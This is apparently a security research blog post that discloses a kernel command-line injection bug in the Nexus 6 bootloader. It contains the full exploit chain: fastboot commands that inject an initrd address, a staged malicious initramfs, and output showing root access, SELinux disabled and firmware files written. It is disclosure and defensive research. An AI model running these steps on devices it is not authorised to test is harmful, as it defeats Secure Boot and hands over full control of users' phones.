In the May 2017 Android Security Bulletin, Google released a patch to a critical and unique vulnerability CVE-2016-10277 in the Nexus 6 Motorola bootloader we had found and responsibly disclosed. It should be noted that although we only verified this issue on Nexus 6, it could potentially affect other Motorola devices as well.
By exploiting the vulnerability, a physical adversary or one with authorized-ADB
/fastboot
USB access to the (bootloader-locked) device (such as PC malware awaiting for an ADB
-authorized developer’s device to be hooked via USB) could break the Secure/Verified Boot mechanism, allowing him to gain unrestricted root privileges, and completely own the user space (which may also lead much more), by loading a tampered or malicious initramfs
image. Moreover, exploitation does not lead to a factory reset hence user data remains intact (and still encrypted). It should be noted that we do not demonstrate an untethered attack.
During this research we also uncovered a 18-year-old Linux Kernel bug (not affecting Nexus 6 and probably does not affect any Android device): CVE-2017-1000363
Before we begin, here is a video demo of the PoC exploit:
In January 2017 we disclosed a high severity vulnerability, CVE-2016-8467, affecting Nexus 6/6P, that allowed attackers to change the bootmode of the device, giving access to hidden USB interfaces. This was done through a fastboot
command, such as fastboot oem config bootmode bp-tools
which caused the bootloader to change the androidboot.mode
argument in the kernel command line. Google has fixed the issue by hardening the bootloader – a locked bootloader no longer allowed booting with a custom bootmode.
Just before Google released the patch, we had discovered way to bypass it on Nexus 6.
Nexus 6’s bootloader contains several arguments that can be controlled through the fastboot
interface, even if the bootloader is locked:
$ fastboot oem config
[...]
(bootloader) <UTAG name="battery" protected="false">
(bootloader) <value>
(bootloader) </value>
(bootloader) <description>
(bootloader) Battery detection control
(bootloader) ("meter_lock" or "no_eprom")
(bootloader) </description>
(bootloader) </UTAG>
(bootloader) <UTAG name="bootmode" protected="false">
(bootloader) <value>
(bootloader) </value>
(bootloader) <description>
(bootloader) To force certain bootmode
(bootloader) (valid values are "fastboot", "factory", "bp-tools", "q
(bootloader) com", and "on-device-diag")
(bootloader) </description>
(bootloader) </UTAG>
(bootloader) <UTAG name="carrier" protected="false">
(bootloader) <value>
(bootloader) </value>
(bootloader) <description>
(bootloader) Carrier IDs, see http://goo.gl/lojLh3
(bootloader) </description>
(bootloader) </UTAG>
(bootloader) <UTAG name="console" type="str" protected="false">
(bootloader) <value>
(bootloader) </value>
(bootloader) <description>
(bootloader) Config kernel console log
(bootloader) enable|true - enable with default settings
(bootloader) disable|false - disable
(bootloader) <config string> - enable with customized settings
(bootloader) (e.g.: "ttyHSL0", "ttyHSL0,230400,n8")
(bootloader) </description>
(bootloader) </UTAG>
(bootloader) <UTAG name="fsg-id" type="str" protected="false">
(bootloader) <value>
(bootloader) </value>
(bootloader) <description>
(bootloader) FSG IDs, see http://goo.gl/gPmhU
(bootloader) </description>
(bootloader) </UTAG>
OKAY [ 0.048s]
finished. total time: 0.048s
The fsg-id
, carrier
and console
parameters can contain arbitrary values (although with a restricted size), which eventually propagate to the kernel command line.
One can prove that by issuing the following commands:
$ fastboot oem config console foo
$ fastboot oem config fsg-id bar
$ fastboot oem config carrier baz
And then check the kernel command line:
shamu:/ $ dmesg | grep command
[ 0.000000] Kernel command line: console=foo,115200,n8 earlyprintk
androidboot.console=foo androidboot.hardware=shamu msm_rtb.filter=0x37
ehci-hcd.park=3 utags.blkdev=/dev/block/platform/msm_sdcc.1/by-name/utags
utags.backup=/dev/block/platform/msm_sdcc.1/by-name/utagsBackup coherent_pool=8M
vmalloc=300M buildvariant=user androidboot.bootdevice=msm_sdcc.1 androidboot.serialno=ZX1G427V97
androidboot.baseband=mdm androidboot.version-baseband=D4.01-9625-05.45+FSG-9625-02.117
androidboot.mode=normal androidboot.device=shamu androidboot.hwrev=0x83A0
androidboot.radio=0x7 androidboot.powerup_reason=0x00004000 androidboot.bootreason=reboot
androidboot.write_protect=0 restart.download_mode=0 androidboot.fsg-id=bar
androidboot.secure_hardware=1 androidboot.cid=0xDE androidboot.wifimacaddr=F8:CF:C5:9F:8F:EB
androidboot.btmacaddr=F8:CF:C5:9F:8F:EA mdss_mdp.panel=1:dsi:0:qcom,mdss_dsi_mot_smd_596_QHD_dualmipi0_cmd_v0
androidboot.bootloader=moto-apq8084-72.02 androidboot.carrier=baz androidboot.hard<
Now, if the bootloader didn’t sanitize those arguments, then we could pass arbitrary kernel command line arguments:
$ fastboot oem config console "a androidboot.foo=0 "
$ fastboot oem config fsg-id "a androidboot.bar=1"
$ fastboot oem config carrier "a androidboot.baz=2"
And indeed:
shamu:/ $ dmesg | grep command
[ 0.000000] Kernel command line: console=a androidboot.foo=0 ,115200,n8 earlyprintk
androidboot.console=a androidboot.foo=0 androidboot.hardware=shamu msm_rtb.filter=0x37
ehci-hcd.park=3 utags.blkdev=/dev/block/platform/msm_sdcc.1/by-name/utags
utags.backup=/dev/block/platform/msm_sdcc.1/by-name/utagsBackup coherent_pool=8M
vmalloc=300M buildvariant=user androidboot.bootdevice=msm_sdcc.1 androidboot.serialno=ZX1G427V97
androidboot.baseband=mdm androidboot.version-baseband=D4.01-9625-05.45+FSG-9625-02.117
androidboot.mode=normal androidboot.device=shamu androidboot.hwrev=0x83A0
androidboot.radio=0x7 androidboot.powerup_reason=0x00004000 androidboot.bootreason=reboot
androidboot.write_protect=0 restart.download_mode=0 androidboot.fsg-id=a androidboot.bar=1
androidboot.secure_hardware=1 androidboot.cid=0xDE androidboot.wifimacaddr=F8:CF:C5:9F:8F:EB
androidboot.btmacaddr=F8:CF:C5:9F:8F:EA mdss_mdp.panel=1:dsi:0:qcom,mdss_dsi_mot_smd_596_QHD_dualmipi0_cmd_v0
androidboot.bootloader=moto-apq8084-72.02 androidboot.carrier=a androidboot.baz=2 androidboot.hard<
As one can see, we’ve managed to set arbitrary ro.boot
properties:
shamu:/ $ getprop ro.boot.foo
0
shamu:/ $ getprop ro.boot.bar
1
shamu:/ $ getprop ro.boot.baz
2
shamu:/ $
At this point, bypassing CVE-2016-8467’s patch is trivial:
$ fastboot oem config console "a androidboot.mode=bp-tools "
[...]
(bootloader) <UTAG name="conolse" type="str" protected="false">
(bootloader) <value>
(bootloader) a androidboot.mode=bp-tools
(bootloader) </value>
(bootloader) <description>
(bootloader) Carrier IDs, see http://goo.gl/lojLh3
(bootloader) </description>
(bootloader) </UTAG>
[...]
And indeed:
shamu:/ $ getprop ro.boot.mode
bp-tools
shamu:/ $
Please note that we must change the console
parameter in order to beat the real androidboot.mode
arg that is inserted by the bootloader. (Code that handles the kernel cmdline for the init
process is under core/init/init.cpp!import_kernel_nv
.)
But can we do anything beyond changing the bootmode, by inserting arbitrary args into the command line?
The kernel command line is consumed by several entities across the OS, including:
__setup
macro.early_param
macro.module_param*
macros.core_param
macro.init
, see above).There are dozens if not hundreds of usages of these macros – any feature or bug introduced by controlling them could be exploited. We will now see that being able to control a single argument allowed us the defeat Secure Boot.
The boot process of Qualcomm MSM devices (such as Motorola Nexus 6) is (much briefly!) as follows:
[Primary Bootloader (PBL)]
`-.
[Secondary Bootloader (SBL)]
`-.
[Applications Bootloader (ABOOT)]
`-.
[{boot,recovery}.img]
|-- Linux Kernel
`-- initramfs
`-.
[system.img]
The PBL
kicks-in from ROM when the device is powered on. It then loads the digitally-signed SBL
to memory, and verifies its authenticity. The SBL
loads the digital-signed ABOOT
(which implements the fastboot
interface), and again verifies its authenticity. The signed certificates of the SBL
and ABOOT
have a root certificate anchored in hardware.
ABOOT
then verifies the authenticity of the boot
or recovery
images, loads the Linux kernel and initramfs
from the boot or recovery images at fixed physical addresses (0x8000
& 0x2000000
in Nexus 6). initramfs
is a cpio
(gzipped) archive that gets loaded into rootfs
(a RAM filesystem mounted at /
) during the Linux kernel initialization. It contains the init
binary, the first users pace process.
The bootloader (ABOOT
) prepares the kernel command line and initramfs
parameters for the Linux kernel in the Device Tree Blob (DTB
) located at physical address 0x1e00000
. One can confirm that by dumping the in-memory DTB
to disk, and then parse it with fdtdump
:
[...]
linux,initrd-end = <0x02172814>;
linux,initrd-start = <0x02000000>;
bootargs = "console=ttyHSL0,115200,n8 earlyprintk androidboot.console=ttyHSL0 androidboot.hardware=shamu msm_rtb.filter=0x37 ehci-hcd.park=3
utags.blkdev=/dev/block/platform/msm_sdcc.1/by-name/utags utags.backup=/dev/block/platform/msm_sdcc.1/by-name/utagsBackup coherent_pool=8M
vmalloc=300M buildvariant=userdebug androidboot.bootdevice=msm_sdcc.1 androidboot.serialno=ZX1G427V97 androidboot.baseband=mdm
[...]
The bootloader then transfers execution to the Linux kernel.
The Linux kernel function that parses the parameters given by ABOOT
in the DTB
is early_init_dt_scan_chosen
. In arm
kernels, it eventually calls this specific function:
void __init early_init_dt_setup_initrd_arch(unsigned long start, unsigned long end)
{
phys_initrd_start = start;
phys_initrd_size = end - start;
}
Physical memory addressed by phys_initrd_start
is then mapped into the virtual address space by the following code:
void __init arm_memblock_init(struct meminfo *mi, struct machine_desc *mdesc)
{
[...]
if (phys_initrd_size) {
memblock_reserve(phys_initrd_start, phys_initrd_size);
/* Now convert initrd to virtual addresses */
initrd_start = __phys_to_virt(phys_initrd_start);
initrd_end = initrd_start + phys_initrd_size;
}
[...]
}
The initramfs
is unpacked to rootfs
next:
static int __init populate_initramfs(void)
{
[...]
if (initrd_start) {
#ifdef CONFIG_BLK_DEV_RAM
int fd;
err = unpack_to_initramfs((char *)initrd_start,
initrd_end - initrd_start);
if (!err) {
free_initrd();
goto done;
} else {
clean_initramfs();
unpack_to_initramfs(__initramfs_start, __initramfs_size);
}
[...]
}
return 0;
}
initramfs_initcall(populate_initramfs);
Eventually the kernel_init
function is called, which executes the first userspace process: /init
.
static int __ref kernel_init(void *unused)
{
[...]
if (ramdisk_execute_command) {
if (!run_init_process(ramdisk_execute_command))
return 0;
pr_err("Failed to execute %s\n", ramdisk_execute_command);
}
[...]
}
(ramdisk_execute_command
has a default value of /init
.)
init
is in charge of bringing up the user space. Among its duties, is setting up SELinux (load its policies, etc). Once the policies are loaded, it will be in the kernel
domain, but soon after the SELinux initialization code completes, it transfers itself to the init
domain. Please note that on production builds, even if the kernel is loaded with non-enforcing
SELinux (which can be done, for example, by appending androidboot.selinux=permissive
to the kernel command line), init
will re-enforce:
static void selinux_initialize(bool in_kernel_domain) {
[...]
if (in_kernel_domain) {
INFO("Loading SELinux policy...\n");
[...]
bool kernel_enforcing = (security_getenforce() == 1);
bool is_enforcing = selinux_is_enforcing();
if (kernel_enforcing != is_enforcing) {
if (security_setenforce(is_enforcing)) {
ERROR("security_setenforce(%s) failed: %s\n",
is_enforcing ? "true" : "false", strerror(errno));
security_failure();
}
}
[...]
}
}
(on production builds, selinux_is_enforce()
always returns true
.).
init
also triggers the partition mounts. dm-verity
later verifies the integrity of relevant partitions (e.g. system
) with a public key stored under the initramfs
(/verity_key
) – an untrusted initramfs
means an untrusted system
partition.
So how can the attacker interfere with the described boot process, given the Kernel Command-line Injection Vulnerability?
It turns out that there is a kernel command line argument rdinit
that overrides /init
, the default value of ramdisk_execute_command
:
static int __init rdinit_setup(char *str)
{
unsigned int i;
ramdisk_execute_command = str;
/* See "auto" comment in init_setup */
for (i = 1; i < MAX_INIT_ARGS; i++)
argv_init[i] = NULL;
return 1;
}
__setup("rdinit=", rdinit_setup);
That looked promising, by exploiting our vulnerability we could cause the kernel to execute an arbitrary user space process, e.g. fastboot oem config carrier "a rdinit=/sbin/foo"
.
The main challenge we encountered which made controlling rdinit
ineffective was the fact that the Nexus 6 initramfs
contains a very limited set of binaries:
$ ls -la sbin
adbd healthd slideshow ueventd watchdogd
Even if one of them could have some potential (e.g. adbd
), user space at that point of execution is uninitialized, hence they may fail due to dependencies which they rely on that are not satisfied. Given the rather big attack surface described above, we decided to move along to the next command line argument we could control, however further analysis of these binaries may prove they are useful.
Interestingly, we’ve realized that in arm
, it is also possible to control, through a kernel command line argument initrd
, the physical address where the initramfs
is loaded from by the kernel!
Under arch/arm/mm/init.c
:
static int __init early_initrd(char *p)
{
unsigned long start, size;
char *endp;
start = memparse(p, &endp);
if (*endp == ',') {
size = memparse(endp + 1, NULL);
phys_initrd_start = start;
phys_initrd_size = size;
}
return 0;
}
early_param("initrd", early_initrd);
This overrides the default values provided by ABOOT
in the DTB
. We then tested it with a random value, expecting the Kernel to crash:
$ fastboot oem config fsg-id "a initrd=0x33333333,1024"
[...]
(bootloader) <UTAG name="fsg-id" type="str" protected="false">
(bootloader) <value>
(bootloader) a initrd=0x33333333,1024
(bootloader) </value>
(bootloader) <description>
(bootloader) FSG IDs, see http://goo.gl/gPmhU
(bootloader) </description>
(bootloader) </UTAG>
OKAY [ 0.016s]
finished. total time: 0.016s
$ fastboot continue
It indeed crashed!
This kind of attack is analogous to controlling the Instruction Pointer (IP
register) or Program Counter (PC
register) in memory corruption bugs, so the first order of business in this case would be loading our own tampered initramfs
archive to the device’s memory, through fastboot
.
Note that the Linux Kernel does not re-verify the authenticity of initramfs
, it relies on the bootloader to do that, so if we manage to put a tampered initramfs
at the controlled phys_initrd_start
physical address, the kernel will indeed populate it into rootfs
.
ABOOT
’s fastboot
provides a download mechanism via USB, which supports features such as flashing. The download functionality is available even on locked bootloaders, therefore the attacker can use this feature in order to load a tampered initramfs
on the device. Our only hope is that the bootloader nor the kernel zero-out/override that data before initramfs
is populated into rootfs
. In order to verify that, we made the following experiment. First, we installed our own msm-shamu
kernel with Loadable-Kernel Modules (LKM) support. We then uploaded to the device a large blob 0123456789ABCDEFALEFALEFALEF...
via fastboot
:
$ fastboot flash aleph payload.bin
[...]
target reported max download size of 536870912 bytes
sending 'aleph' (524288 KB)...
OKAY [ 62.610s]
writing 'aleph'...
(bootloader) Not allowed in LOCKED state!
FAILED (remote failure)
finished. total time: 62.630s
Please note that the failure message is due to the flashing attempt, however, the data is downloaded by device anyway.
We booted the platform with fastboot continue
, and then dumped the whole physical memory with the LiME
LKM (a great tool!), searching for our blob:
10FFFFC0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
10FFFFD0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
10FFFFE0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
10FFFFF0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
11000000 30 31 32 33 34 35 36 37 38 39 41 42 43 44 45 46 0123456789ABCDEF
11000010 41 4C 45 46 41 4C 45 46 41 4C 45 46 41 4C 45 46 ALEFALEFALEFALEF
11000020 41 4C 45 46 41 4C 45 46 41 4C 45 46 41 4C 45 46 ALEFALEFALEFALEF
11000030 41 4C 45 46 41 4C 45 46 41 4C 45 46 41 4C 45 46 ALEFALEFALEFALEF
11000040 41 4C 45 46 41 4C 45 46 41 4C 45 46 41 4C 45 46 ALEFALEFALEFALEF
11000050 41 4C 45 46 41 4C 45 46 41 4C 45 46 41 4C 45 46 ALEFALEFALEFALEF
This has given us a stronger guarantee because our payload survived even when the platform is up and running. We’ve repeated this process several times, there was nothing random – the payload is always loaded at 0x11000000
and is available for the Linux Kernel!
For the sake of curiosity we’ve also statically verified this result. It turns out that Little Kernel (LK), which the Nexus 6 is based on, has a memory area pointed by SCRATCH_ADDR
where the downloaded data is saved under. Loading the ABOOT
binary with IDA
confirms (functions renamed for readability):
int fastboot_mode()
{
[...]
dprintf(1, "Entering fastboot mode\n");
[...]
v8 = return11000000();
v9 = return20000000();
fastboot_init(v8, v9);
v11 = sub_FF2EA94(v10);
if ( v13 != v10021C84 )
sub_FF3D784();
return sub_FF15BA4(v11);
}
signed int return11000000()
{
signed int result; // r0@1
result = 0x11000000;
if ( v10021C84 != v10021C84 )
sub_FF3D784();
return result;
}
This value is eventually consumed by the download handler of ABOOT
.
To conclude, we have the following physical memory layout before the initramfs
archive is populated from memory into rootfs
:
.-------------------.------------------------------.-----------.
| Physical Address | What | Loaded by |
|-------------------|------------------------------|-----------|
| 0x00008000 | Linux Kernel | ABOOT |
| 0x01E00000 | Device Tree Blob (DTB) | ABOOT |
| 0x02000000 | Verified initramfs | ABOOT |
| 0x11000000 | Tampered initramfs (payload) | Adversary |
`-------------------'------------------------------'-----------'
We are now all done, we can now place our initramfs
at a fixed physical address and then instruct the kernel to populate it.
The final step is to create our own malicious initramfs
. One can just compile a userdebug
AOSP boot image and rip the initramfs.cpio.gz
file out of it, since it contains the su
domain and a root-capable adbd
. The only caveat is dm-verity
which will not be able to verify the official system
partition (because the AOSP boot image will contain the debug verity_key
). Anyway, since we are now able to load a malicious initramfs
, this annoyance can be bypassed easily by editing the fstab
file (removing the verification), or replacing the debug verity_key
with the official one from the relevant build.
A Proof-of-Concept initramfs
is available in our GitHub research repo.
We now have everything we need:
initramfs
archive.fastboot
interface.In terms of Secure Boot, we now have the following broken chain-of-(dis)trust:
[Primary Bootloader (PBL)]
`-.
[Secondary Bootloader (SBL)]
`-.
[Applications Bootloader (ABOOT)]
`-.
[{boot,recovery}.img]
|-- Linux Kernel
`-- initramfs <- Controlled by Attacker in Memory
`-.
[system.img] <- Cannot be Trusted
The following shows a successful attack:
$ adb shell
shamu:/ $ id
uid=2000(shell) gid=2000(shell) groups=2000(shell),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc) context=u:r:shell:s0
shamu:/ $ getenforce
Enforcing
shamu:/ $ setenforce permissive
setenforce: Couldn't set enforcing status to 'permissive': Permission denied
shamu:/ $ reboot bootloader
$ fastboot getvar unlocked
[...]
unlocked: no
finished. total time: 0.008s
$ fastboot oem config fsg-id "a initrd=0x11000000,1518172"
[...]
(bootloader) <UTAG name="fsg-id" type="str" protected="false">
(bootloader) <value>
(bootloader) a initrd=0x11000000,1518172
(bootloader) </value>
(bootloader) <description>
(bootloader) FSG IDs, see http://goo.gl/gPmhU
(bootloader) </description>
(bootloader) </UTAG>
OKAY [ 0.016s]
finished. total time: 0.016s
$ fastboot flash aleph malicious.cpio.gz
[...]
target reported max download size of 536870912 bytes
sending 'aleph' (1482 KB)...
OKAY [ 0.050s]
writing 'aleph'...
(bootloader) Not allowed in LOCKED state!
FAILED (remote failure)
finished. total time: 0.054s
$ fastboot continue
[...]
resuming boot...
OKAY [ 0.007s]
finished. total time: 0.007s
$ adb shell
shamu:/ # id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc) context=u:r:su:s0
shamu:/ # getenforce
Enforcing
shamu:/ # setenforce permissive
shamu:/ # getenforce
Permissive
shamu:/ #
Now that the we have full control over rootfs
, we can also create a malicious /vendor
folder, which normally contains firmware images of various SoCs available on the board:
shamu:/ # ls /vendor/firmware
VRGain.bin adsp.b03 adsp.b11 bcm20795_firmware.ncd left.boost.music.eq left.boost_n1b12.patch right.boost.ringtone.eq right.boost_ringtone_table.preset venus.mdt
a420_pfp.fw adsp.b04 adsp.b12 bcm4354A2.hcd left.boost.ringtone.config left.boost_n1c2.patch right.boost.speaker right.boost_voice_table.preset widevine.b00
a420_pm4.fw adsp.b05 adsp.mdt cy8c20247_24lkxi.hex left.boost.ringtone.eq left.boost_ringtone_table.preset right.boost.voice.config venus.b00 widevine.b01
acdb.mbn adsp.b06 aonvr1.bin fw_bcmdhd.bin left.boost.speaker left.boost_voice_table.preset right.boost.voice.eq venus.b01 widevine.b02
adsp.b00 adsp.b07 aonvr2.bin fw_bcmdhd_apsta.bin left.boost.voice.config right.boost.music.config right.boost_music_table.preset venus.b02 widevine.b03
adsp.b01 adsp.b08 atmel-a432-14061601-0102aa-shamu-p1.tdat keymaster left.boost.voice.eq right.boost.music.eq right.boost_n1b12.patch venus.b03 widevine.mdt
adsp.b02 adsp.b10 atmel-a432-14103001-0103aa-shamu.tdat left.boost.music.config left.boost_music_table.preset right.boost.ringtone.config right.boost_n1c2.patch venus.b04
Kernel drivers usually consume these images upon initialization, and update their SoC counterparts if needed. Hence, the attacker could flash unsigned firmware images. We haven’t checked if there are such, but from our experience with other devices, there are. As for signed ones, downgrade attacks might be possible as well. In addition, the modem firmware resides under /firmware/image
, which we could also alter and theoretically conduct similar attacks (see below). Again, we haven’t verified what kind of integrity checking exists nor if it is vulnerable to downgrade attack, leaving it aside for future research.
shamu:/ # umount -f /firmware
shamu:/ # mount /dev/block/mmcblk0p1 /firmware -o rw
shamu:/ # ls /firmware/image
acdb.mbn bdwlan20.bin cmnlib.b03 efs1.bin isdbtmm.b01 mba_9225.mbn.gz playready.b00 playready.mdt prov.b03 qwlan11.bin sampleapp.b00 sampleapp.mdt securemm.b01 tqs.b00 tqs.mdt utf20.bin
apps_9225.mbn.gz cmnlib.b00 cmnlib.mdt efs2.bin isdbtmm.b02 mba_9625.mbn.gz playready.b01 prov.b00 prov.mdt qwlan20.bin sampleapp.b01 sbl1_9225.mbn.gz securemm.b02 tqs.b01 tz_9225.mbn.gz
apps_9625.mbn.gz cmnlib.b01 dsp2_9225.mbn.gz efs3.bin isdbtmm.b03 otp11.bin playready.b02 prov.b01 qdsp6sw_9225.mbn.gz rpm_9225.mbn.gz sampleapp.b02 sbl1_9625.mbn.gz securemm.b03 tqs.b02 tz_9625.mbn.gz
bdwlan11.bin cmnlib.b02 dsp2_9625.mbn.gz isdbtmm.b00 isdbtmm.mdt otp20.bin playready.b03 prov.b02 qdsp6sw_9625.mbn.gz rpm_9625.mbn.gz sampleapp.b03 securemm.b00 securemm.mdt tqs.b03 utf11.bin
shamu:/ # echo foo > /firmware/image/foo
shamu:/ # cat /firmware/image/foo
foo
Google’s patch for this vulnerability is available in the May 2017 Bulletin. Bootloader version moto-apq8084-72.03
available in build N6F27C
now sanitizes the fsg-id
, carrier
and console
config arguments:
$ fastboot oem config fsg-id "foo foo=1"
[...]
$ fastboot oem config carrier "bar bar=1"
[...]
$ fastboot oem config carrier "baz baz=1"
[...]
$ fastboot oem config
[android@aosp:/aosp/source/android-7.1.1_r40]$ fastboot oem config
[...]
(bootloader) <UTAG name="carrier" type="str" protected="false">
(bootloader) <value>
(bootloader) bar
(bootloader) </value>
(bootloader) <description>
(bootloader) Carrier IDs, see http://goo.gl/lojLh3
(bootloader) </description>
(bootloader) </UTAG>
(bootloader) <UTAG name="console" type="str" protected="false">
(bootloader) <value>
(bootloader) baz
(bootloader) </value>
(bootloader) <description>
(bootloader) Config kernel console log
(bootloader) enable|true - enable with default settings
(bootloader) disable|false - disable
(bootloader) <config string> - enable with customized settings
(bootloader) (e.g.: "ttyHSL0", "ttyHSL0,230400,n8")
(bootloader) </description>
(bootloader) </UTAG>
(bootloader) <UTAG name="fsg-id" type="str" protected="false">
(bootloader) <value>
(bootloader) foo
(bootloader) </value>
(bootloader) <description>
(bootloader) FSG IDs, see http://goo.gl/gPmhU
(bootloader) </description>
(bootloader) </UTAG>]
During the work on this research, we also uncovered an ancient (since 2.2.0!) Out-of-Bounds write in the Linux Kernel CVE-2017-1000363. The bug is in the lp
driver (so CONFIG_PRINTER=y
is required), and is triggered when many lp=none
arguments are appended to the Kernel Command Line:
static int parport_nr[LP_NO] = { [0 ... LP_NO-1] = LP_PARPORT_UNSPEC };
[...]
#ifndef MODULE
static int __init lp_setup (char *str)
{
static int parport_ptr;
[...]
} else if (!strcmp(str, "none")) {
parport_nr[parport_ptr++] = LP_PARPORT_NONE;
}
[...]
}
#endif
[...]
__setup("lp=", lp_setup);
A patch has been committed to the mainline kernel.